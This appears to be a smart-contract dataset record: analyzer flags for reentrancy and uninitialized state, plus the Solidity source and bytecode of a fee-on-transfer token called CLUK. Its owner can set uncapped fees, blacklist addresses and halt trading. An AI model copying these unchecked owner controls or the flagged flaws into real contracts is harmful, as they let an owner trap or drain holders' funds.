84612207565b979650505050505050565b60006020820190506123086000830184612098565b92915050565b600060208201905061232360008301846120a7565b92915050565b6000602082019050818103600083015261234381846120b6565b905092915050565b60006020820190508181036000830152612364816120ef565b9050919050565b6000602082019050818103600083015261238481612112565b9050919050565b600060208201905081810360008301526123a481612135565b9050919050565b600060208201905081810360008301526123c481612158565b9050919050565b600060208201905081810360008301526123e48161217b565b9050919050565b600060208201905081810360008301526124048161219e565b9050919050565b60006020820190508181036000830152612424816121c1565b9050919050565b60006020820190508181036000830152612444816121e4565b9050919050565b60006020820190506124606000830184612207565b92915050565b600060208201905061247b6000830184612216565b92915050565b600061248b61249c565b90506124978282612610565b919050565b6000604051905090565b600067ffffffffffffffff8211156124c1576124c0612717565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006124f982612582565b915061250483612582565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125395761253861268a565b5b828201905092915050565b600061254f82612562565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125a482612582565b9050919050565b60005b838110156125c95780820151818401526020810190506125ae565b838111156125d8576000848401525b50505050565b600060028204905060018216806125f657607f821691505b6020821081141561260a576126096126b9565b5b50919050565b6126198261275a565b810181811067ffffffffffffffff8211171561263857612637612717565b5b80604052505050565b600061264c82612582565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561267f5761267e61268a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a081612544565b81146129ab57600080fd5b50565b6129b781612556565b81146129c257600080fd5b50565b6129ce81612582565b81146129d957600080fd5b5056fea2646970667358221220a57327c2822b24640b3a2b05dc5d403b22efccb4edd97aaebdc394aff4fac97364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,633 |
0x3eb57f86762592263d3ed4c1692455fa049ea2b0
|
/**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
// SPDX-License-Identifier: Unlicensed
/**
KKKKKCKKKKKKKCKKKKKCKCKCKKKKKCKCKCKKKKKCKKKKKKKKKKKKKCKKKKKKKKKKKCKCKCKCKKKCKKKKKCKCKKKCKCKKKCKKKKKC
KKCKKKCKCKKKCKKKCKKKKKCKKKCKCKKKCKCKKKKKCKKKCKCKCKKKCKCKCKKKKKKKCKCKCKCKCKKKKKCKKKCKKKKKCKCKCKCKCKCK
KCKCKKKCKKKCKKKKKCKKKCKKKCKKKKKCKCKCKKKKKCKKKCKCKCKKKCKCKCKCKCKKKCKCKKKKKKKCKCKCKCKCKKKCKCKCKCKCKCKC
KKCKCKCKKKCKKKCKCKCKCKCKCKCKCKCKCKCKCKCKKKCKCKCKCKCKKKCKCKCKKKKKCKCKCKKKCKCKCKCKCKCKCKCKCKCKCKKKCKCK
KCKKKCKKKCKCKKKKKKKKKCKCKKKCKKKCKCKKKCKCKKKCKKKCKKKCKKKCKCKKKCKCKKKCKKKCKKKCKKKKKCKCKCKKKCKCKCKCKKKK
KKKKKKCKCKCKKKCKCKKKCKCKKKCKCKKKCKCKKKKKCKCKCKCCUUUUUCCKKKKKCKKKCKCKCKCKCKCKKKCKCKCKCKCKCKCKKKKKCKKK
KCKKKKKKKCKCKKKCKCKCKKKCKKKCKCKCKCKKKCKLL LLUKKKKKKKKKCKCKKKCKCKCKKKCKKKKKCKCKKKCKC
CKCKKKCKCKKKCKKKCKCKCKCKKKCKCKCKCKKL LUCKCKCKCKCKKKCKKKCKKKKKCKKKCKCKKKKK
KCKCKCKCKCKCKCKCKCKKKKKCKCKCKKKCL LCKCKCKCKKKKKCKKKKKCKCKCKCKKKCKC
CKCKCKKKCKKKCKCKCKCKCKCKCKCKCK LLLLLLLLLLLLLLLLL LKKKCKCKCKKKKKKKCKCKCKCKKKCKCK
KKKCKCKKKKKCKKKCKCKKKKKCKKKU L LLLLLLLLULULLLLL CKCKKKCKCKCKKKCKKKCKCKCKKKK
CKCKCKCKCKCKKKCKCKKKCKCKCK LLLLLLLLLLLLLLLLLUUKCKCULL KCKCKCKKKKKKKKKCKCKCKCKCK
KKKCKKKCKKKKKCKKKKKCKKKCL ULLLLLLLLLLLLLLLLLLLLUCKCKULLL LCKKKCKCKKKCKCKCKCKKKCKC
CKKKKKCKKKCKKKKKCKCKCKK LL LLLLLLLLLLLLLLLLCCKL CKKKKKCKCKKKCKCKKKCKKK
KCKKKCKKKCKKKCKKKCKCKC LULLLLLLL LLLLLLLLLLCL CKCKCKCKKKCKKKCKCKCKC
CKKKCKCKCKCKCKKKKKKKU LLUKKKCKCKCKKCULLLLLLLLL LLLLL CKCKCKKKKKCKKKCKCKKK
KKKCKCKCKCKKKCKCKKKC LLKCKKKLLLLLLLLLLLLLLLLLLLL L LL CKCKCKKKCKKKCKCKKKK
CKCKCKCKKKCKCKKKCKC LLL LLLLLLLL LLLL ULLL LLL CKKKCKKKCKKKKKKKCK
KKKKKKKKKCKKKKKCKC LLLLL LLLL LLL LL L LCKCCULL LCKCKCKKKKKCKCKCKC
CKKKCKCKCKCKCKKKCL LLLLLLL LLLLL L LCUL LLLL UKKKKKCKKKL CCKKKCKCKCKCKCKCK
KCKCKKKCKKKCKCKCK LLLLLLLLLLLLLLLLLL LUL LLLLLLULLLUUULUUUU KKKCKCKCKKKCKCKC
CKCKCKKKKKCKCKKKU LLLLLLLLLLLLLLLLLLL LLUL L LLLLLLL KKKKKKKKCKCKCKCK
KCKCKKKKKCKKKCKC LLLLLLLLLLLLLLLLLLLL LKLL LUULLLL LCKCKKKCKCKKKCKK
CKKKCKCKCKCKKKKK LLLLLLLLLLLLLLLLLLL L LLLLLLL UULLLLL KCKKKCKCKKKCKKK
KCKKKKKCKCKKKCKC LLLLLLLLLUUUUULLLLLLLLLLLLLLLLL UKCUULLL CKCKKKCKCKCKKKK
KKCKCKCKCKKKCKCK LCUUUCUCUUUCUCUCCKUULLLUKKLLLLLL LCCULL LLL KCKCKKKCKCKCKCK
KCKCKKKCKCKCKKKC UKCCLLLL LKCKCULULLLLLLLLULLLLLLL LL KKCKCKCKCKCKCKC
CKCKKKCKKKCKKKKKCCL LUCULLLLLLLLUULLLLLLLLLLLL KCKCKCKCKKKCKKK
KCKCKCKKKKKCKKKC LULLLLLLLUULLLLLLLLLLLL L LCKCKCKCKKKKKKKC
KKCKKKCKCKCKCKKKL LLCKCKCUUUUULLLLLLLLLLLLL L LKCKKKCKCKKKKKCK
KKKCKCKCKKKKKCKKK LLLLLLCUCUCUUULLLLLLLLLLLL LLLLLLLL KCKKKKKCKKKCKKKC
CKKKCKKKKKCKCKCKC LLLLLLL LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL LKKCKCKCKKKKKKKCK
KCKCKKKKKCKKKKKCKK LLLLLLLLLLLLLLLLLLLUKLLLULL LLLLLLLLLUCL CKKKCKCKCKKKCKCKK
CKKKCKCKCKKKCKCKCKL LL LLLLLLLLLLLLLLUUULLLL LLLLLLLLLLLLLLUCKCKCL UKKKKKKKCKCKKKKKCK
KCKKKCKKKCKKKCKCKKK LLLLLLLLLLLLLLLLLUKL LL L L LLLLLLLLLLLLLLLLLLLL LKCKCKKKKKKKCKCKCKK
CKCKCKCKCKCKCKKKKKCK LLLLLLLLLLLLLLLLLCULL LLLL LLLL LLLLLLLLLLLLLLLUCCK LKKKKKCKCKCKCKCKCKKK
KCKCKKKKKCKCKCKCKCKCK LLLLLLLLLLLLLLLULL U LL LL LL LLLLLLLLLLLLLLLLLUUCCL LKCKCKKKCKCKCKCKCKKKK
CKCKCKKKKKKKCKKKCKCKCKL L LLLLLLULUCL LUU LLLLL LCLL LLLLULLLLLL LKCKCKKKKKKKCKCKCKCKCK
KCKCKCKCKKKKKCKKKCKKKKK LLLLLLLLL UCULLLU LCUL LULLLLLLUCULLLLLULUUULULULUCKCKKKCKCKKKKKCKCKCKC
KKCKKKCKKKCKCKKKCKCKKKU LLLLLLLLLLL LLLLULLLLLLLL L ULLLLLLLLL LLLLLLUCKCKCKLKCKKKCKKKCKCKCKCKCKKK
KCKKKCKCKCKCKKKCKCKCKKK LLUUCLUCCLLLLLLLULLLL LLLLLLULLLLLULUULLCUULL LLLKKKKKKKKKCKKKKKKKKKKKK
CKKKKKCKCKKKCKCKKKKKKKL LLUCCLLL LKUULLLL LLLLLLLLLUL LLLLUUKL LLLCCLL LKKKCKCKCKCKKKCKKKCKCK
KCKCKCKCKCKKKCKCKCKCKKULLCKL L LLLL CKCLULLLLUCUUKCKLLLCULLUCKC LLLL LKCLLLCKCKKKCKCKKKKKCKCKKKC
CKCKKKKKCKCKKKCKCKCKCCLLLCCU LLLLLLLUULLLLLULCL LLLLLL UCCLLLLLUULLLLLLL CCCLLLCCKCKCKCKCKCKCKKKCKCK
KCKCKCKCKCKCKCKCLLLLLLULLUKCULLLLULCKL CLLUUCC LLLLLLLLKCULLU LKCLULLLLCCKULLULLLLLLCKCKKKCKCKCKKKK
KKCKCKCKCKKKKKKKLLLLLLLLLL LLLKCL LLULLLCKKL LLLLLLLLLL LLULL LKCLLL LLLLLLLLLUKCKKKCKCKKKCKCK
KCKCKKKKKCKCKKKCKCULLLULLLLLCCLUCCL L LULUULLLLKULUULLL LLLCL L LCCULCCLLLLLULLLUKKKKKKCKCKCKCKCKK
KKCKCKKKCKCKKKKKKKCKCLLLLUKLLCLLLL LLUCLLLLULL LLUKKLUUUKULKLLKULL LLLUCLLCULLLLCKCKCKKKKKCKKKCKKKCK
KKKKKCKCKKKKKKKCKKKCULLLLLLUUUCKLLKULLLLULLLCCL LLCULUULUULLLLLUKLLKCUUULLLLLLUCKCKCKKKKKCKCKCKCKK
CKCKCKCKKKCKKKKKKKULLLLLLLLLLLLUCLLLLULLLLLLLUCL LLLLKUCCLLLLULLLLCULLLLLLLLLLLLUKKKCKKKCKCKCKCKCK
KCKCKCKKKKKCKCKCKLLLLLLLLULLLLLLLLLLLLLLLULLULUCKCUUULLLLLLLLLLLLLLLLLLLLLUULLLLLLLLKCKCKKKKKCKCKCKK
KKCKCKCKCKCKCKCKLLLLLLLLLLLLUCLLLLLLLLLLLLLL LLLLLLLLLLLLLLLLLLLLLLLLLLKULLLLLLLLLLLLKCKKKKKKKCKCKKK
KKKCKCKKKKKKKCKCCUULULUUCCKCKUULLLLLLLLLLLKCULLLLUKCKKKKKKKLLLLLLLLLLLUCKCKCCUULUUUUCCKCKKKKKCKCKCKC
CKKKKKCKCKCKKKCKCKCKKKKKCKCKKKKKCKCKCKCKCKKKCKCKCKKKCKCKCKKKKKCKCKCKCKCKCKCKCKCKCKCKCKKKKKCKCKCKKKKK
KKKCKCKCKKKCKCKKKCKCKCKKKKKCKKKCKKKCKCKCKCKCKCKCKCKCKCKCKCKCKCKCKCKCKCKCKKKKKCKCKKKCKCKKKKKCKCKCKCKC
CKKKCKKKCKCKCKCKCKCKCKCKCKKKCKCKCKCKCKKKCKCKCKKKKKKKKKKKKKCKKKKKCKCKCKCKKKCKKKKKCKCKCKKKCKCKKKKKCKCK
KKKKKCKCKKKKKCKCKCKCKCKCKCKCKCKCKKKCKCKKKKKCKCKCKCKCKCKKKCKCKKKKKCKKKCKKKCKKKCKCKCKCKCKCKCKCKKKKKCKC
CKCKCKCKCKCKCKKKKKCKCKKKCKKKCKCKCKCKKKCKKKCKCKCKCKKKCKCKKKCKKKCKCKCKCKCKKKCKCKCKCKKKCKCKCKKKCKCKCKCK
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CLUK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fear the Old Blood";
string private constant _symbol = "CLUK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 888888888888888 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 1;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x55BCb5F7a6164964313c2DB84Eb9fa430322B81C);
address payable private _marketingAddress = payable(0x55BCb5F7a6164964313c2DB84Eb9fa430322B81C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 8888888888888 * 10**9;//1%
uint256 public _maxWalletSize = 8888888888888 * 10**9;//1%
uint256 public _swapTokensAtAmount = 8888 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055f578063dd62ed3e1461057f578063ea1644d5146105c5578063f2fde38b146105e557600080fd5b8063a2a957bb146104da578063a9059cbb146104fa578063bfd792841461051a578063c3c8cd801461054a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104ba57600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196d565b610605565b005b34801561020a57600080fd5b506040805180820190915260128152711199585c881d1a194813db1908109b1bdbd960721b60208201525b6040516102429190611a32565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a87565b6106a4565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b5069bc3ac3627d44cbe830005b604051908152602001610242565b3480156102e657600080fd5b5061026b6102f5366004611ab3565b6106bb565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610242565b34801561033857600080fd5b5060155461029b906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611af4565b610724565b34801561037857600080fd5b506101fc610387366004611b21565b61076f565b34801561039857600080fd5b506101fc6107b7565b3480156103ad57600080fd5b506102cc6103bc366004611af4565b610802565b3480156103cd57600080fd5b506101fc610824565b3480156103e257600080fd5b506101fc6103f1366004611b3c565b610898565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611af4565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029b565b34801561046357600080fd5b506101fc610472366004611b21565b6108c7565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b50604080518082019091526004815263434c554b60e01b6020820152610235565b3480156104c657600080fd5b506101fc6104d5366004611b3c565b61090f565b3480156104e657600080fd5b506101fc6104f5366004611b55565b61093e565b34801561050657600080fd5b5061026b610515366004611a87565b61097c565b34801561052657600080fd5b5061026b610535366004611af4565b60106020526000908152604090205460ff1681565b34801561055657600080fd5b506101fc610989565b34801561056b57600080fd5b506101fc61057a366004611b87565b6109dd565b34801561058b57600080fd5b506102cc61059a366004611c0b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d157600080fd5b506101fc6105e0366004611b3c565b610a7e565b3480156105f157600080fd5b506101fc610600366004611af4565b610aad565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161062f90611c44565b60405180910390fd5b60005b81518110156106a05760016010600084848151811061065c5761065c611c79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069881611ca5565b91505061063b565b5050565b60006106b1338484610b97565b5060015b92915050565b60006106c8848484610cbb565b61071a843361071585604051806060016040528060288152602001611dbf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f7565b610b97565b5060019392505050565b6000546001600160a01b0316331461074e5760405162461bcd60e51b815260040161062f90611c44565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107995760405162461bcd60e51b815260040161062f90611c44565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ec57506013546001600160a01b0316336001600160a01b0316145b6107f557600080fd5b476107ff81611231565b50565b6001600160a01b0381166000908152600260205260408120546106b59061126b565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161062f90611c44565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b815260040161062f90611c44565b601655565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161062f90611c44565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109395760405162461bcd60e51b815260040161062f90611c44565b601855565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161062f90611c44565b600893909355600a91909155600955600b55565b60006106b1338484610cbb565b6012546001600160a01b0316336001600160a01b031614806109be57506013546001600160a01b0316336001600160a01b0316145b6109c757600080fd5b60006109d